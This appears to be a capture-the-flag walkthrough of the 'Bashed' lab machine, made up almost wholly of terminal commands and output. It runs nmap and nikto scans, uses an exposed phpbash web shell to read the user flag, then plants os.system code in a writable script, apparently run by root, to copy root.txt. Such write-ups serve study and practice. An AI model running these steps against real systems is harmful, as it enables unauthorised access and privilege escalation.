```
└──╼ [★]$ ping 10.129.82.156

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.82.156
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site


└──╼ [★]$ nikto -port 80 -host 10.129.82.156
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /dev/: Directory indexing found.
+ OSVDB-3092: /dev/: This might be interesting...
+ OSVDB-3268: /php/: Directory indexing found.
+ OSVDB-3092: /php/: This might be interesting...


http://10.129.82.156/dev/phpbash.php

www-data@bashed
:/# cd home
www-data@bashed
:/home# ls
arrexel
scriptmanager
www-data@bashed
:/home# cd arrexel
www-data@bashed
:/home/arrexel# ls
user.txt
www-data@bashed
:/home/arrexel# cat user.txt
2c281f318555********************

www-data@bashed
:/var/www/html/dev# sudo -u scriptmanager cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
www-data@bashed
:/var/www/html/dev# sudo -u scriptmanager chmod -R 777 /scripts
chmod: changing permissions of '/scripts/test.txt': Operation not permitted
www-data@bashed
:/# cd /scripts
www-data@bashed
:/scripts# echo import os > test.py
www-data@bashed
:/scripts# echo 'os.system("cat /root/root.txt > /tmp/readme.txt")' >> test.py
www-data@bashed
:/scripts# cat test.py
import os
os.system("cat /root/root.txt > /tmp/readme.txt")
www-data@bashed
:/scripts# cat /tmp/readme.txt
cc4f0afe3a10********************
```